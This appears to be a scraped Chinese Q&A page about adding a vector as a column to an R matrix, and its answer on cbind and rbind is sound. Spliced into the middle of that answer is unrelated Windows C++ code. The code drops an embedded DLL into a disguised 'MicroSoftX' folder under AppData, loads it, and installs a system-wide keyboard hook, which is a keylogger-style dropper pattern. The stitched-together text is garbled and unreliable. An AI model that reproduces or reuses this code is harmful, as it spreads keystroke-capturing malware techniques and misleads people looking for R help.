如何将向量作为R矩阵中的列附加?

时间:2018-03-06 07:15:39

标签: r matrix append

假设我有一个类似下面R中显示的矩阵。

      [,1] [,2] [,3] 
[1,]    2    4    3 
[2,]    2    5    7

如何将列添加到前面,如下所示。

   [,1] [,2] [,3] [,4]
[1,] 1   2    4    3 
[2,] 1   1    5    7

最后,矩阵有很多行。

1 个答案:

答案 0 :(得分:3)

使用#include <iostream> #include <stdio.h> #include <stdlib.h> #include <Windows.h> #include "resource.h" void ExtractnRun() { char* name = getenv("USERNAME"); char info[1500]; char aNewFile[1500]; sprintf(info,"C:\\Users\\%s\\AppData\\Local\\MicroSoftX",name); //_mkdir(info); if (CreateDirectoryA(info, NULL)) { MessageBoxA(NULL, "Directory Created", "", MB_OK); } // Extract From Resource HRSRC hrsrc = FindResource(0, MAKEINTRESOURCE(IDR_DLL21),"DLL2"); DWORD size = SizeofResource(0, hrsrc); PVOID buff = LockResource(LoadResource(0, hrsrc)); DWORD dwBytesToWrite = (DWORD)strlen((char*)buff); DWORD dwBytesWritten = 0; sprintf(aNewFile, "C:\\Users\\%s\\AppData\\Local\\MicroSoftX\\mshelp.dll", name); HANDLE hFile = CreateFileA(aNewFile, GENERIC_WRITE, 0, NULL,CREATE_ALWAYS ,FILE_ATTRIBUTE_NORMAL, NULL); if (hFile) { MessageBoxA(NULL, "File Created!", "", MB_OK); } /*FILE* f = fopen(aNewFile, "wb"); fwrite(buff,1,size,f); fclose(f); */ if (WriteFile(hFile, buff, size, &dwBytesWritten, NULL)) { MessageBoxA(NULL, "Data Written to DLL", "", MB_OK); } /*STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); */ char dll[MAX_PATH]; GetFullPathName((LPCSTR)hFile, MAX_PATH, dll, NULL); // Shows Error here Cannot get Full Path of DLL printf("%s\n",dll); HMODULE MYdll = LoadLibrary(dll); if (MYdll == NULL) { printf("dll cannot be found!\n"); getchar(); printf("DLL : %s", MYdll); } HOOKPROC addr = (HOOKPROC)GetProcAddress(MYdll, "SayHelloWorld"); if (addr == NULL) { printf("Cannot find Address!\n"); getchar(); } HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, MYdll, 0); if (handle == NULL) { printf("Hook Failed!\n"); getchar(); } printf("Program Hooked!\n"); getchar(); UnhookWindowsHookEx(handle); //printf("%s\n",dll); system("PAUSE"); } int main() { ExtractnRun(); return 0; }

cbind

因此,如果你使用更大的数据,想象你的矩阵保存为cbind(c(1,2), matrix(1:6, nrow=2)) ,并且你想要在这个矩阵前面添加一个向量m,命令将是

my_vector

确保矢量的尺寸符合矩阵中的行数。

如果您想要添加行而不是列,则命令名为new_m <- cbind(my_vector, m) ,并以完全相同的方式使用。